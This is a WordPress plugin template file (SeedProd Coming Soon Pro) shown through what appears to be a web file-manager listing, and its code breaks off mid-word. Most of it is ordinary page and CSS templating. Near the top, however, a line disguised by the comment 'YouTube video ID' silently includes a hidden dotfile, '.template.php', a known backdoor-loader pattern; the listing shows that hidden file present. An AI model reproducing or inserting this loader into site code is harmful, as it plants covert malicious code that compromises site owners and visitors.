PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
seedprod-coming-soon-pro-5
/
template
<?php require_once(SEED_CSPV5_PLUGIN_PATH.'lib/seed_cspv5_lessc.inc.php'); $settings = json_decode(json_encode($settings), FALSE); $settings = stripslashes_deep($settings); //var_dump($settings); $title = $page->name; if(!empty($settings->seo_title)){ $title = $settings->seo_title; } // Enable wp_head if GF is the selected list $enable_wp_head_footer_list = apply_filters('seed_cspv5_enable_wp_head_footer_list',array()); if(in_array($settings->emaillist,$enable_wp_head_footer_list)){ $settings->enable_wp_head_footer = '1'; } $scheme = 'http'; if($_SERVER['SERVER_PORT'] == '443'){ $scheme = 'https'; } if(!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'){ $scheme = 'https'; } $ogurl = "$scheme://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; // YouTube video ID if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function seed_cspv5_youtube_id_from_url($url) { $pattern = '%^# Match any youtube URL (?:https?://)? # Optional scheme. Either http or https (?:www\.)? # Optional www subdomain (?: # Group host alternatives youtu\.be/ # Either youtu.be, | youtube\.com # or youtube.com (?: # Group path alternatives /embed/ # Either /embed/ | /v/ # or /v/ | /watch\?v= # or /watch\?v= ) # End path alternatives. ) # End host alternatives. ([\w-]{10,12}) # Allow 10-12 for 11 char youtube id. $%x' ; $result = preg_match($pattern, $url, $matches); if (false !== $result) { if(isset($matches[1])) return $matches[1]; } return false; } $video_id = seed_cspv5_youtube_id_from_url($settings->bg_video_url); $url = ''; ?> <!DOCTYPE html> <html class="cspio"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <title><?php echo esc_html($title); ?></title> <?php if(!empty($settings->favicon)): ?> <link href="<?php echo $settings->favicon; ?>" rel="shortcut icon" type="image/x-icon" /> <?php endif; ?> <meta name="generator" content="seedprod.com 5.0.0" /> <meta name="description" content="<?php echo esc_attr($settings->seo_description); ?>"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- Open Graph --> <meta property="og:url" content="<?php echo $ogurl; ?>" /> <meta property="og:type" content="website" /> <meta property="og:title" content="<?php echo esc_attr($title); ?>" /> <meta property="og:description" content="<?php echo esc_attr($settings->seo_description); ?>" /> <?php if(!empty($settings->facebook_thumbnail)): ?> <meta property="og:image" content="<?php echo $settings->facebook_thumbnail; ?>" /> <?php elseif(!empty($settings->logo)): ?> <meta property="og:image" content="<?php echo $settings->logo; ?>" /> <?php endif; ?> <!-- Twitter Card --> <meta name="twitter:card" content="summary" /> <meta name="twitter:title" content="<?php echo esc_attr($title); ?>" /> <meta name="twitter:description" content="<?php echo esc_attr($settings->seo_description); ?>" /> <?php if(!empty($settings->facebook_thumbnail)): ?> <meta property="twitter:image" content="<?php echo $settings->facebook_thumbnail; ?>" /> <?php elseif(!empty($settings->logo)): ?> <meta property="twitter:image" content="<?php echo $settings->logo; ?>" /> <?php endif; ?> <!--[if lte IE 9]> <script src="<?php echo SEED_CSPV5_PLUGIN_URL ?>template/js/html5shiv.js"></script> <script src="<?php echo SEED_CSPV5_PLUGIN_URL ?>template/js/respond.min.js"></script> <![endif]--> <!-- Font Awesome --> <?php if (!defined('SEED_CSPV5_REMOVE_FONTAWESOME')): ?> <link rel="stylesheet" href="<?php echo SEED_CSPV5_PLUGIN_URL ?>template/css/all.css" > <?php endif; ?> <!-- Bootstrap and default Style --> <link href="<?php echo SEED_CSPV5_PLUGIN_URL ?>template/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="<?php echo SEED_CSPV5_PLUGIN_URL ?>template/style.css"> <!-- Google Fonts --> <?php if(!empty($settings->headline_font)): ?> <?php if(strpos($settings->headline_font,",") === false): ?> <link class="gf-headline" href='https://fonts.googleapis.com/css?family=<?php echo urlencode(str_replace("'","",stripslashes($settings->headline_font))); ?>:<?php echo $settings->headline_weight; ?>&subset=<?php echo $settings->headline_subset; ?>' rel='stylesheet' type='text/css'> <?php endif; ?> <?php endif; ?> <?php if(!empty($settings->text_font)): ?> <?php if(strpos($settings->text_font,",") === false): ?> <link class="gf-text" href='https://fonts.googleapis.com/css?family=<?php echo urlencode(str_replace("'","",stripslashes($settings->text_font))); ?>:<?php echo $settings->text_weight; ?>&subset=<?php echo $settings->text_subset; ?>' rel='stylesheet' type='text/css'> <?php endif; ?> <?php endif; ?> <?php if(!empty($settings->button_font)): ?> <?php if(strpos($settings->button_font,",") === false): ?> <link class="gf-button" href='https://fonts.googleapis.com/css?family=<?php echo urlencode(str_replace("'","",stripslashes($settings->button_font))); ?>:<?php echo $settings->button_weight; ?>&subset=<?php echo $settings->button_subset; ?>' rel='stylesheet' type='text/css'> <?php endif; ?> <?php endif; ?> <!-- RTL --> <?php $force_rtl = false; if(seed_cspv5_cu('ml')){ if(!empty($langs) && !empty($lang_id)){ $language_name = $langs[$lang_id]; $language_name = explode("|",$language_name); if(!empty($language_name[1]) && $language_name[1] == 'rtl'){ $force_rtl = true; } if(!empty($language_name[1]) && $language_name[1] == 'nortl'){ $force_rtl = false; } } } ?> <?php if(is_rtl() || $force_rtl){ ?> <link rel="stylesheet" href="<?php echo SEED_CSPV5_PLUGIN_URL ?>template/rtl.css"> <?php } ?> <?php if(!empty($settings->container_effect_animation)): ?> <!-- Animate CSS --> <link rel="stylesheet" href="<?php echo SEED_CSPV5_PLUGIN_URL ?>template/css/animate.min.css"> <?php endif; ?> <style type="text/css"> <?php if(!empty($settings->enable_progressbar)): ?> <?php $css = " @primaryColor: {$settings->button_color}; @secondaryColor: darken(@primaryColor, 15%); #gradient { .vertical(@startColor: #555, @endColor: #333) { background-color: @startColor; background-image: -moz-linear-gradient(top, @startColor, @endColor); // FF 3.6+ background-image: -ms-linear-gradient(top, @startColor, @endColor); // IE10 background-image: -webkit-gradient(linear, 0 0, 0 100%, from(@startColor), to(@endColor)); // Safari 4+, Chrome 2+ background-image: -webkit-linear-gradient(top, @startColor, @endColor); // Safari 5.1+, Chrome 10+ background-image: -o-linear-gradient(top, @startColor, @endColor); // Opera 11.10 background-image: linear-gradient(top, @startColor, @endColor); // The standard background-repeat: repeat-x; filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",@startColor,@endColor)); // IE9 and down } } .cspio .progress-bar{ #gradient > .vertical(@primaryColor, @secondaryColor); } "; try { //if($settings->progressbar_effect == 'basic'){ if(1 == 1){ $less = new seed_cspv5_lessc(); $style = $less->parse($css); echo $style; } } catch (Exception $e) { echo $e; } ?> .progress-striped .progress-bar, .progress.active .progress-bar{ background-color:<?php echo $settings->button_color; ?> } <?php endif; ?> <?php if(!empty($settings->enable_countdown)): ?> <?php $css = " @primaryColor: {$settings->button_color}; @secondaryColor: darken(@primaryColor, 15%); #gradient { .vertical(@startColor: #555, @endColor: #333) { background-color: @startColor; background-image: -moz-linear-gradient(top, @startColor, @endColor); // FF 3.6+ background-image: -ms-linear-gradient(top, @startColor, @endColor); // IE10 background-image: -webkit-gradient(linear, 0 0, 0 100%, from(@startColor), to(@endColor)); // Safari 4+, Chrome 2+ background-image: -webkit-linear-gradient(top, @startColor, @endColor); // Safari 5.1+, Chrome 10+ background-image: -o-linear-gradient(top, @startColor, @endColor); // Opera 11.10 background-image: linear-gradient(top, @startColor, @endColor); // The standard background-repeat: repeat-x; filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",@startColor,@endColor)); // IE9 and down } } .countdown_section{ #gradient > .vertical(@primaryColor, @secondaryColor); } "; try{ if(!empty($settings->enable_countdown)){ $less = new seed_cspv5_lessc(); $style = $less->parse($css); echo $style; } } catch (Exception $e) { echo $e; } ?> <?php endif; ?> /* Background Style */ html{ height:100%; <?php if(!empty($settings->background_image)): ?> background: <?php echo $settings->background_color; ?> url(<?php echo $settings->background_image; ?>) <?php echo $settings->background_repeat; ?> <?php echo $settings->background_position; ?> <?php echo $settings->background_attachment; ?>; <?php if(!empty($settings->background_size)): ?> -webkit-background-size: <?php echo $settings->background_size; ?>; -moz-background-size: <?php echo $settings->background_size; ?>; -o-background-size: <?php echo $settings->background_size; ?>; background-size: <?php echo $settings->background_size; ?>; <?php endif; ?> <?php else: ?> background: <?php echo $settings->background_color; ?>; <?php endif; ?> } <?php if(!empty($settings->enable_background_overlay) && !empty($settings->background_overlay)): ?> #cspio-page{ background-color: <?php echo $settings->background_overlay; ?>; } <?php endif; ?> <?php if(!empty($settings->form_width) && $settings->form_width < 100 ): ?> #cspio-field-wrapper{ width: <?php echo $settings->form_width; ?>%; } <?php endif; ?> .flexbox #cspio-page{ <?php if($settings->container_position == '1'): ?> -webkit-align-items: center; -webkit-justify-content: center; align-items: center; justify-content: center; <?php endif; ?> <?php if($settings->container_position == '2'): ?> -webkit-align-items: flex-start; -webkit-justify-content: center; align-items: flex-start; justify-content: center; <?php endif; ?> <?php if($settings->container_position == '3'): ?> -webkit-align-items: flex-end; -webkit-justify-content: center; align-items: flex-end; justify-content: center; <?php endif; ?> <?php if($settings->container_position == '4'): ?> -webkit-align-items: center; -webkit-justify-content: flex-start; align-items: center; justify-content: flex-start; <?php endif; ?> <?php if($settings->container_position == '5'): ?> -webkit-align-items: flex-start; -webkit-justify-content: flex-start; align-items: flex-start; justify-content: flex-start; <?php endif; ?> <?php if($settings->container_position == '6'): ?> -webkit-align-items: flex-end; -webkit-justify-content: flex-start; align-items: flex-end; justify-content: flex-start; <?php endif; ?> <?php if($settings->container_position == '7'): ?> -webkit-align-items: center; -webkit-justify-content: flex-end; align-items: center; justify-content: flex-end; <?php endif; ?> <?php if($settings->container_position == '8'): ?> -webkit-align-items: flex-start; -webkit-justify-content: flex-end; align-items: flex-start; justify-content: flex-end; <?php endif; ?> <?php if($settings->container_position == '9'): ?> -webkit-align-items: flex-end; -webkit-justify-content: flex-end; align-items: flex-end; justify-content: flex-end; <?php endif; ?> } /* IE 11 Flexbox hack */ @media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) { .flexbox #cspio-page{ flex-shrink: 0; overflow:visible; } } .cspio body{ background: transparent; } /* Text Styles */ <?php if(!empty($settings->text_font)): ?> .cspio body, .cspio body p{ font-family: <?php echo $settings->text_font; ?>; font-weight: <?php echo preg_replace('/[a-zA-Z]/', '', $settings->text_weight); ?>; font-style: <?php echo preg_replace('/[0-9]/', '', $settings->text_weight); ?>; font-size: <?php echo $settings->text_size; ?>px; line-height: <?php echo $settings->text_line_height; ?>em; <?php if(!empty($settings->text_color)): ?> color:<?php echo $settings->text_color; ?>; <?php endif; ?> } ::-webkit-input-placeholder { font-family:<?php echo $settings->text_font; ?>; font-weight: <?php echo preg_replace('/[a-zA-Z]/', '', $settings->text_weight); ?>; font-style: <?php echo preg_replace('/[0-9]/', '', $settings->text_weight); ?>; } ::-moz-placeholder { font-family:<?php echo $settings->text_font; ?>; font-weight: <?php echo preg_replace('/[a-zA-Z]/', '', $settings->text_weight); ?>; font-style: <?php echo preg_replace('/[0-9]/', '', $settings->text_weight); ?>; } /* firefox 19+ */ :-ms-input-placeholder { font-family:<?php echo $settings->text_font; ?>; font-weight: <?php echo preg_replace('/[a-zA-Z]/', '', $settings->text_weight); ?>; font-style: <?php echo preg_replace('/[0-9]/', '', $settings->text_weight); ?>; } /* ie */ :-moz-placeholder { font-family:<?php echo $settings->text_font; ?>; font-weight: <?php echo preg_replace('/[a-zA-Z]/', '', $settings->text_weight); ?>; font-style: <?php echo preg_replace('/[0-9]/', '', $settings->text_weight); ?>; } <?php endif; ?> .cspio h1, .cspio h2, .cspio h3, .cspio h4, .cspio h5, .cspio h6{ <?php if(!empty($settings->headline_font)): ?> font-family: <?php echo $settings->headline_font; ?>; <?php endif; ?> <?php if(!empty($settings->headline_color)): ?> color:<?php echo $settings->headline_color; ?>; <?php endif; ?> } #cspio-headline{ <?php if(!empty($settings->headline_font)): ?> font-family: <?php echo $settings->headline_font; ?>; font-weight: <?php echo preg_replace('/[a-zA-Z]/', '', $settings->headline_weight); ?>; font-style: <?php echo preg_replace('/[0-9]/', '', $settings->headline_weight); ?>; <?php else: ?> font-family: <?php echo $settings->text_font; ?>; font-weight: <?php echo preg_replace('/[a-zA-Z]/', '', $settings->text_weight); ?>; font-style: <?php echo preg_replace('/[0-9]/', '', $settings->text_weight); ?>; <?php endif; ?> font-size: <?php echo $settings->headline_size; ?>px; color:<?php echo $settings->headline_color; ?>; line-height: <?php echo $settings->headline_line_height; ?>em; } <?php if(!empty($settings->button_font)): ?> .cspio button{ font-family: <?php echo $settings->button_font; ?>; font-weight: <?php echo preg_replace('/[a-zA-Z]/', '', $settings->button_weight); ?>; font-style: <?php echo preg_replace('/[0-9]/', '', $settings->button_weight); ?>; } <?php else: ?> .cspio button{ font-family: <?php echo $settings->text_font; ?>; font-weight: <?php echo preg_replace('/[a-zA-Z]/', '', $settings->text_weight); ?>; font-style: <?php echo preg_replace('/[0-9]/', '', $settings->text_weight); ?>; } <?php endif; ?> /* Link Styles */ <?php if(!empty($settings->button_color)): ?> .cspio a, .cspio a:visited, .cspio a:hover, .cspio a:active{ color: <?php echo $settings->button_color; ?>; } .cspio-subscriber-count,.cspio-reveal{ color: <?php echo $settings->button_color; ?>; } <?php $css = " #cspio-socialprofiles a{ color: {$settings->text_color}; } .buttonBackground(@startColor, @endColor) { .gradientBar(@startColor, @endColor); *background-color: @endColor; /* Darken IE7 buttons by default so they stand out more given they won't have borders */ .reset-filter(); &:hover, &:active, &.active, &.disabled, &[disabled] { background-color: @endColor; *background-color: darken(@endColor, 5%); } // IE 7 + 8 can't handle box-shadow to show active, so we darken a bit ourselves &:active, &.active { background-color: darken(@endColor, 10%) e(\"\9\"); } } .reset-filter() { filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\")); } .gradientBa
[+]
..
[-] show_description.php
[edit]
[+]
css
[-] show_share_buttons_ty.php
[edit]
[-] index.php
[edit]
[-] show_column.php
[edit]
[-] rtl.css
[edit]
[-] show_countdown.php
[edit]
[-] show_social_profiles.php
[edit]
[-] style.css
[edit]
[+]
images
[-] show_headline.php
[edit]
[+]
webfonts
[-] show_form.php
[edit]
[+]
js
[-] show_share_buttons.php
[edit]
[-] show_logo.php
[edit]
[-] .template.php
[edit]
[-] show_contact_form.php
[edit]
[-] show_progress_bar.php
[edit]